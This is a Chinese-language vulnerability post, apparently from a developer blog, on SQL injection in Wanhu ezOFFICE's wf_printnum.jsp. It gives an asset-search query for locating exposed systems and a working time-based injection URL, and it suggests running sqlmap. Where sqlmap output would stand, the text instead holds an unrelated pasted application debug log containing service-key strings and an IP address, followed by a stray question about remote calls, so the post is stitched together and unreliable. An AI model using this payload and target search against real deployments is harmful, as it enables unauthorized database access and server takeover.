万户ezOFFICE-wf_printnum.jsp存在SQL注入漏洞

本文报道了万户EZOFFICE办公软件中的SQL注入漏洞,攻击者可通过该漏洞获取数据库权限,可能进一步威胁服务器安全。开发者需注意强化安全措施以防止非法利用。

声明:

本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

简介

万户EZOFFICE是一款办公软件,由中国万户网络科技有限公司开发和提供。该软件提供了一系列办公管理工具,包括文档管理、协作编辑、任务管理、日程安排、邮件通讯等功能,旨在提高团队的协作效率和工作效率

漏洞描述

万户ezOFFICE-wf_printnum.jsp存在SQL注入漏洞存在SQL注入漏洞,未授权的攻击者可利用此漏洞获取数据库权限,深入利用可获取服务器权限

资产搜索

app="万户ezOFFICE协同管理平台"

漏洞复现

http://127.0.0.1/defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27

sqlmap跑一下

[2025-09-01 10:12:47] [INFO] [System.out] [[01/09/25 10:12:47:047 GMT+08:00] DEBUG actionsupport.LogonAction: decr time's:30 ] [2025-09-01 10:12:47] [INFO] [System.out] [network interface: enp3s0] [2025-09-01 10:12:47] [INFO] [System.out] [ip address: 192.3.196.25] [2025-09-01 10:12:47] [INFO] [System.out] [[01/09/25 10:12:47:047 GMT+08:00] DEBUG impl.SessionImpl: opened session ] [2025-09-01 10:12:47] [INFO] [System.out] [[01/09/25 10:12:47:047 GMT+08:00] DEBUG impl.SessionImpl: Flushed: 0 insertions, 0 updates, 0 deletions to 0 objects ] [2025-09-01 10:12:47] [INFO] [System.out] [[01/09/25 10:12:47:047 GMT+08:00] DEBUG impl.SessionImpl: Flushed: 0 (re)creations, 0 updates, 0 removals to 0 collections ] [2025-09-01 10:12:47] [INFO] [System.out] [[01/09/25 10:12:47:047 GMT+08:00] DEBUG hql.QueryTranslator: HQL: select count(user.empId) from com.whir.org.vo.usermanager.UserPO user where user.userIsDeleted=0 and user.userIsActive=1 and (user.userAccounts is not null and user.userAccounts <> ' ') and user.userIsFormalUser=1 ] [2025-09-01 10:12:47] [INFO] [System.out] [[01/09/25 10:12:47:047 GMT+08:00] DEBUG hql.QueryTranslator: SQL: select count(userpo0_.EMP_ID) as x0_0_ from EZOFFICE.ORG_EMPLOYEE userpo0_ where (userpo0_.USERISDELETED=0 )and(userpo0_.USERISACTIVE=1 )and((userpo0_.USERACCOUNTS is not null )and(userpo0_.USERACCOUNTS<>' ' ))and(userpo0_.USERISFORMALUSER=1 ) ] [2025-09-01 10:12:47] [INFO] [System.out] [[01/09/25 10:12:47:047 GMT+08:00] DEBUG hibernate.SQL: select count(userpo0_.EMP_ID) as x0_0_ from EZOFFICE.ORG_EMPLOYEE userpo0_ where (userpo0_.USERISDELETED=0 )and(userpo0_.USERISACTIVE=1 )and((userpo0_.USERACCOUNTS is not null )and(userpo0_.USERACCOUNTS<>' ' ))and(userpo0_.USERISFORMALUSER=1 ) ] [2025-09-01 10:12:47] [INFO] [System.out] [[01/09/25 10:12:47:047 GMT+08:00] DEBUG impl.IteratorImpl: retrieving next results ] [2025-09-01 10:12:47] [INFO] [System.out] [[01/09/25 10:12:47:047 GMT+08:00] DEBUG impl.IteratorImpl: exhausted results ] [2025-09-01 10:12:47] [INFO] [System.out] [[01/09/25 10:12:47:047 GMT+08:00] DEBUG impl.IteratorImpl: closing iterator ] [2025-09-01 10:12:47] [INFO] [System.out] [[01/09/25 10:12:47:047 GMT+08:00] DEBUG impl.IteratorImpl: returning current results ] [2025-09-01 10:12:47] [INFO] [System.out] [[01/09/25 10:12:47:047 GMT+08:00] DEBUG impl.SessionImpl: disconnecting session ] [2025-09-01 10:12:47] [INFO] [System.out] [===useLDAP==0] [2025-09-01 10:12:47] [INFO] [System.out] [222222222222222222222] [2025-09-01 10:12:47] [INFO] [System.out] [3333333333333333333333] [2025-09-01 10:12:47] [INFO] [System.out] [[01/09/25 10:12:47:047 GMT+08:00] DEBUG util.SysSetupReader: 加载... ] [2025-09-01 10:12:47] [INFO] [System.out] [[{"fixedStr":"4cbce7dce2374631a6d732436c9e6c21","serviceKey":"f3c7efd68b164760afb9d46e29fc8067"},{"fixedStr":"webapp","serviceKey":"webappKey"},{"fixedStr":"7560f01d05c540b388901152295a2f99","serviceKey":"04fbf98d5b7e4ba89b8921044b375a6d"}]] [2025-09-01 10:12:47] [INFO] [System.out] [kkfileview] [2025-09-01 10:12:47] [INFO] [System.out] [kkfileview] [2025-09-01 10:12:47] [INFO] [System.out] [[01/09/25 10:12:47:047 GMT+08:00] DEBUG util.SysSetupReader: serviceKeyList 2 size :3 ] [2025-09-01 10:12:47] [INFO] [System.out] [[01/09/25 10:12:47:047 GMT+08:00] DEBUG impl.SessionImpl: opened session ] [2025-09-01 10:12:47] [INFO] [System.out] [[01/09/25 10:12:47:047 GMT+08:00] DEBUG impl.SessionImpl: Flushed: 0 insertions, 0 updates, 0 deletions to 0 objects ] [2025-09-01 10:12:47] [INFO] [System.out] [[01/09/25 10:12:47:047 GMT+08:00] DEBUG impl.SessionImpl: Flushed: 0 (re)creations, 0 updates, 0 removals to 0 collections ] [2025-09-01 10:12:47] [INFO] [System.out] [[01/09/25 10:12:47:047 GMT+08:00] DEBUG hql.QueryTranslator: HQL: select a.id,a.userNum,a.domainType,a.noLog,a.inUse,a.domainEndDate from com.whir.org.vo.organizationmanager.DomainVO a where a.domainAccount=:domainAccount and a.inUse=1 ] [2025-09-01 10:12:47] [INFO] [System.out] [[01/09/25 10:12:47:047 GMT+08:00] DEBUG hql.QueryTranslator: SQL: select domainvo0_.DOMAIN_ID as x0_0_, domainvo0_.DOMAIN_USERNUM as x1_0_, domainvo0_.DOMAIN_TYPE as x2_0_, domainvo0_.DOMAIN_NOLOG as x3_0_, domainvo0_.DOMAIN_INUSE as x4_0_, domainvo0_.DOMAIN_ENDDATE as x5_0_ from EZOFFICE.ORG_DOMAIN domainvo0_ where (domainvo0_.DOMAIN_ACCOUNT=? )and(domainvo0_.DOMAIN_INUSE=1 ) ] [2025-09-01 10:12:47] [INFO] [System.out] [[01/09/25 10:12:47:047 GMT+08:00] DEBUG hibernate.SQL: select domainvo0_.DOMAIN_ID as x0_0_, domainvo0_.DOMAIN_USERNUM as x1_0_, domainvo0_.DOMAIN_TYPE as x2_0_, domainvo0_.DOMAIN_NOLOG as x3_0_, domainvo0_.DOMAIN_INUSE as x4_0_, domainvo0_.DOMAIN_ENDDATE as x5_0_ from EZOFFICE.ORG_DOMAIN domainvo0_ where (domainvo0_.DOMAIN_ACCOUNT=? )and(domainvo0_.DOMAIN_INUSE=1 ) ] [2025-09-01 10:12:47] [INFO] [System.out] [[01/09/25 10:12:47:047 GMT+08:00] DEBUG impl.IteratorImpl: retrieving next results ] [2025-09-01 10:12:47] [INFO] [System.out] [[01/09/25 10:12:47:047 GMT+08:00] DEBUG impl.IteratorImpl: exhausted results ] [2025-09-01 10:12:47] [INFO] [System.out] [[01/09/25 10:12:47:047 GMT+08:00] DEBUG impl.IteratorImpl: closing iterator ] [2025-09-01 10:12:48] [INFO] [System.out] [[01/09/25 10:12:48:048 GMT+08:00] DEBUG impl.IteratorImpl: returning current results ] [2025-09-01 10:12:48] [INFO] [System.out] [[01/09/25 10:12:48:048 GMT+08:00] DEBUG impl.SessionImpl: Flushed: 0 insertions, 0 updates, 0 deletions to 0 objects ] [2025-09-01 10:12:48] [INFO] [System.out] [[01/09/25 10:12:48:048 GMT+08:00] DEBUG impl.SessionImpl: Flushed: 0 (re)creations, 0 updates, 0 removals to 0 collections ] [2025-09-01 10:12:48] [INFO] [System.out] [[01/09/25 10:12:48:048 GMT+08:00] DEBUG hql.QueryTranslator: HQL: select count(user.empId) from com.whir.org.vo.usermanager.UserPO user where user.userIsDeleted=0 and (user.userAccounts is not null and user.userAccounts<>'admin' and user.userAccounts<>'security') and user.userIsFormalUser=1 and user.domainId=0 ] [2025-09-01 10:12:48] [INFO] [System.out] [[01/09/25 10:12:48:048 GMT+08:00] DEBUG hql.QueryTranslator: SQL: select count(userpo0_.EMP_ID) as x0_0_ from EZOFFICE.ORG_EMPLOYEE userpo0_ where (userpo0_.USERISDELETED=0 )and((userpo0_.USERACCOUNTS is not null )and(userpo0_.USERACCOUNTS<>'admin' )and(userpo0_.USERACCOUNTS<>'security' ))and(userpo0_.USERISFORMALUSER=1 )and(userpo0_.DOMAIN_ID=0 ) ] [2025-09-01 10:12:48] [INFO] [System.out] [[01/09/25 10:12:48:048 GMT+08:00] DEBUG hibernate.SQL: select count(userpo0_.EMP_ID) as x0_0_ from EZOFFICE.ORG_EMPLOYEE userpo0_ where (userpo0_.USERISDELETED=0 )and((userpo0_.USERACCOUNTS is not null )and(userpo0_.USERACCOUNTS<>'admin' )and(userpo0_.USERACCOUNTS<>'security' ))and(userpo0_.USERISFORMALUSER=1 )and(userpo0_.DOMAIN_ID=0 ) ] [2025-09-01 10:12:48] [INFO] [System.out] [[01/09/25 10:12:48:048 GMT+08:00] DEBUG impl.IteratorImpl: retrieving next results ] [2025-09-01 10:12:48] [INFO] [System.out] [[01/09/25 10:12:48:048 GMT+08:00] DEBUG impl.IteratorImpl: exhausted results ] [2025-09-01 10:12:48] [INFO] [System.out] [[01/09/25 10:12:48:048 GMT+08:00] DEBUG impl.IteratorImpl: closing iterator ] [2025-09-01 10:12:48] [INFO] [System.out] [[01/09/25 10:12:48:048 GMT+08:00] DEBUG impl.IteratorImpl: returning current results ] [2025-09-01 10:12:48] [INFO] [System.out] [[01/09/25 10:12:48:048 GMT+08:00] DEBUG impl.SessionImpl: Flushed: 0 insertions, 0 updates, 0 deletions to 0 objects ] [2025-09-01 10:12:48] [INFO] [System.out] [[01/09/25 10:12:48:048 GMT+08:00] DEBUG impl.SessionImpl: Flushed: 0 (re)creations, 0 updates, 0 removals to 0 collections ] [2025-09-01 10:12:48] [INFO] [System.out] [[01/09/25 10:12:48:048 GMT+08:00] DEBUG hql.QueryTranslator: HQL: SELECT employee.userIsActive,employee.userIsSuper,employee.userPassword,employee.empId,employee.empName,employee.browseRange,org.orgId,org.orgIdString,employee.keyValidate,employee.keySerial,employee.userSuperBegin,employee.userSuperEnd,employee.userSimpleName,org.orgSerial,org.orgSimpleName,employee.skin,employee.empDuty,employee.empEnglishName,employee.userIsSleep,org.orgEnglishName,employee.empNumber,employee.empBusinessPhone,org.orgName,employee.empPosition, employee.mobileUserFlag, employee.empIdCard, employee.userAccounts, employee.userPageSize, employee.isChangePwd, employee.isPasswordRule, org.orgNameString, employee.imId, employee.empDutyLevel, employee.sidelineOrg, employee.sidelineOrgName, employee.empLivingPhoto, employee.pageFontsize,employee.enterprisenumber FROM com.whir.org.vo.usermanager.UserPO employee join employee.organizations org WHERE employee.userAccounts=:userAccount and employee.userIsDeleted=0 and employee.domainId=:domainId ] [2025-09-01 10:12:48] [INFO] [System.out] [[01/09/25 10:12:48:048 GMT+08:00] DEBUG hql.QueryTranslator: SQL: select userpo0_.USERISACTIVE as x0_0_, userpo0_.USERISSUPER as x1_0_, userpo0_.USERPASSWORD as x2_0_, userpo0_.EMP_ID as x3_0_, userpo0_.EMPNAME as x4_0_, userpo0_.BROWSERANGE as x5_0_, organizati2_.ORG_ID as x6_0_, organizati2_.ORGIDSTRING as x7_0_, userpo0_.KEYVALIDATE as x8_0_, userpo0_.KEYSERIAL as x9_0_, userpo0_.USERSUPERBEGIN as x10_0_, userpo0_.USERSUPEREND as x11_0_, userpo0_.USERSIMPLENAME as x12_0_, organizati2_.ORGSERIAL as x13_0_, organizati2_.ORGSIMPLENAME as x14_0_, userpo0_.SKIN as x15_0_, userpo0_.EMPDUTY as x16_0_, userpo0_.EMPENGLISHNAME as x17_0_, userpo0_.user_is_sleep as x18_0_, organizati2_.ORG_ENGLISH_NAME as x19_0_, userpo0_.EMPNUMBER as x20_0_, userpo0_.EMPBUSINESSPHONE as x21_0_, organizati2_.ORGNAME as x22_0_, userpo0_.EMPPOSITION as x23_0_, userpo0_.mobile_user_flag as x24_0_, userpo0_.EMPIDCARD as x25_0_, userpo0_.USERACCOUNTS as x26_0_, userpo0_.USER_PAGESIZE as x27_0_, userpo0_.ISCHANGEPWD as x28_0_, userpo0_.is_password_rule as x29_0_, organizati2_.ORGNAMESTRING as x30_0_, userpo0_.IMID as x31_0_, userpo0_.EMPDUTYLEVEL as x32_0_, userpo0_.SIDELINEORG as x33_0_, userpo0_.SIDELINEORGNAME as x34_0_, userpo0_.EMPLIVINGPHOTO as x35_0_, userpo0_.page_fontsize as x36_0_, userpo0_.oa_enterprise_number as x37_0_ from EZOFFICE.ORG_EMPLOYEE userpo0_ inner join EZOFFICE.ORG_ORGANIZATION_USER organizati1_ on userpo0_.EMP_ID=organizati1_.Emp_id inner join EZOFFICE.ORG_ORGANIZATION organizati2_ on organizati1_.Org_Id=organizati2_.ORG_ID where (userpo0_.USERACCOUNTS=? )and(userpo0_.USERISDELETED=0 )and(userpo0_.DOMAIN_ID=? ) ] [2025-09-01 10:12:48] [INFO] [System.out] [[01/09/25 10:12:48:048 GMT+08:00] DEBUG hibernate.SQL: select userpo0_.USERISACTIVE as x0_0_, userpo0_.USERISSUPER as x1_0_, userpo0_.USERPASSWORD as x2_0_, userpo0_.EMP_ID as x3_0_, userpo0_.EMPNAME as x4_0_, userpo0_.BROWSERANGE as x5_0_, organizati2_.ORG_ID as x6_0_, organizati2_.ORGIDSTRING as x7_0_, userpo0_.KEYVALIDATE as x8_0_, userpo0_.KEYSERIAL as x9_0_, userpo0_.USERSUPERBEGIN as x10_0_, userpo0_.USERSUPEREND as x11_0_, userpo0_.USERSIMPLENAME as x12_0_, organizati2_.ORGSERIAL as x13_0_, organizati2_.ORGSIMPLENAME as x14_0_, userpo0_.SKIN as x15_0_, userpo0_.EMPDUTY as x16_0_, userpo0_.EMPENGLISHNAME as x17_0_, userpo0_.user_is_sleep as x18_0_, organizati2_.ORG_ENGLISH_NAME as x19_0_, userpo0_.EMPNUMBER as x20_0_, userpo0_.EMPBUSINESSPHONE as x21_0_, organizati2_.ORGNAME as x22_0_, userpo0_.EMPPOSITION as x23_0_, userpo0_.mobile_user_flag as x24_0_, userpo0_.EMPIDCARD as x25_0_, userpo0_.USERACCOUNTS as x26_0_, userpo0_.USER_PAGESIZE as x27_0_, userpo0_.ISCHANGEPWD as x28_0_, userpo0_.is_password_rule as x29_0_, organizati2_.ORGNAMESTRING as x30_0_, userpo0_.IMID as x31_0_, userpo0_.EMPDUTYLEVEL as x32_0_, userpo0_.SIDELINEORG as x33_0_, userpo0_.SIDELINEORGNAME as x34_0_, userpo0_.EMPLIVINGPHOTO as x35_0_, userpo0_.page_fontsize as x36_0_, userpo0_.oa_enterprise_number as x37_0_ from EZOFFICE.ORG_EMPLOYEE userpo0_ inner join EZOFFICE.ORG_ORGANIZATION_USER organizati1_ on userpo0_.EMP_ID=organizati1_.Emp_id inner join EZOFFICE.ORG_ORGANIZATION organizati2_ on organizati1_.Org_Id=organizati2_.ORG_ID where (userpo0_.USERACCOUNTS=? )and(userpo0_.USERISDELETED=0 )and(userpo0_.DOMAIN_ID=? ) ] [2025-09-01 10:12:48] [INFO] [System.out] [[01/09/25 10:12:48:048 GMT+08:00] DEBUG loader.Loader: result row: ] [2025-09-01 10:12:48] [INFO] [System.out] [[01/09/25 10:12:48:048 GMT+08:00] DEBUG impl.SessionImpl: initializing non-lazy collections ] [2025-09-01 10:12:48] [INFO] [System.out] [[01/09/25 10:12:48:048 GMT+08:00] DEBUG ejb.LogonEJBBean: userIP:010.192.079.194 ] [2025-09-01 10:12:48] [INFO] [System.out] [[01/09/25 10:12:48:048 GMT+08:00] DEBUG ejb.LogonEJBBean: SELECT COUNT(ip.id) FROM com.whir.ezoffice.security.ip.po.IPPO ip WHERE ip.domainId=:domainId and ip.ipIsOpen=1 AND (EZOFFICE.FN_STRTODATE(:today1,'S')>=ip.ipOpenBeginTime AND EZOFFICE.FN_STRTODATE(:today2,'S')<=ip.ipOpenEndTime AND (ip.ipAddressBegin=:userIP1 OR :userIP2 BETWEEN ip.ipAddressBegin AND ip.ipAddressEnd)) ] [2025-09-01 10:12:48] [INFO] [System.out] [[01/09/25 10:12:48:048 GMT+08:00] DEBUG impl.SessionImpl: Flushed: 0 insertions, 0 updates, 0 deletions to 0 objects ] [2025-09-01 10:12:48] [INFO] [System.out] [[01/09/25 10:12:48:048 GMT+08:00] DEBUG impl.SessionImpl: Flushed: 0 (re)creations, 0 updates, 0 removals to 0 collections ] [2025-09-01 10:12:48] [INFO] [System.out] [[01/09/25 10:12:48:048 GMT+08:00] DEBUG hql.QueryTranslator: HQL: SELECT COUNT(ip.id) FROM com.whir.ezoffice.security.ip.po.IPPO ip WHERE ip.domainId=:domainId and ip.ipIsOpen=1 AND (EZOFFICE.FN_STRTODATE(:today1,'S')>=ip.ipOpenBeginTime AND EZOFFICE.FN_STRTODATE(:today2,'S')<=ip.ipOpenEndTime AND (ip.ipAddressBegin=:userIP1 OR :userIP2 BETWEEN ip.ipAddressBegin AND ip.ipAddressEnd)) ] [2025-09-01 10:12:48] [INFO] [System.out] [[01/09/25 10:12:48:048 GMT+08:00] DEBUG hql.QueryTranslator: SQL: select COUNT(ippo0_.IPID) as x0_0_ from EZOFFICE.SECURITY_IP ippo0_ where (ippo0_.DOMAIN_ID=? )and(ippo0_.IPISOPEN=1 )AND((EZOFFICE.FN_STRTODATE(? , 'S')>=ippo0_.IPOPENBEGINTIME )AND(EZOFFICE.FN_STRTODATE(? , 'S')<=ippo0_.IPOPENENDTIME )AND((ippo0_.IPADDRESSBEGIN=? )OR(? BETWEEN ippo0_.IPADDRESSBEGIN AND ippo0_.IPADDRESSEND ))) ] [2025-09-01 10:12:48] [INFO] [System.out] [[01/09/25 10:12:48:048 GMT+08:00] DEBUG hibernate.SQL: select COUNT(ippo0_.IPID) as x0_0_ from EZOFFICE.SECURITY_IP ippo0_ where (ippo0_.DOMAIN_ID=? )and(ippo0_.IPISOPEN=1 )AND((EZOFFICE.FN_STRTODATE(? , 'S')>=ippo0_.IPOPENBEGINTIME )AND(EZOFFICE.FN_STRTODATE(? , 'S')<=ippo0_.IPOPENENDTIME )AND((ippo0_.IPADDRESSBEGIN=? )OR(? BETWEEN ippo0_.IPADDRESSBEGIN AND ippo0_.IPADDRESSEND ))) ]这段日志中有没有这段远程调用的日志
最新发布
09-02
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值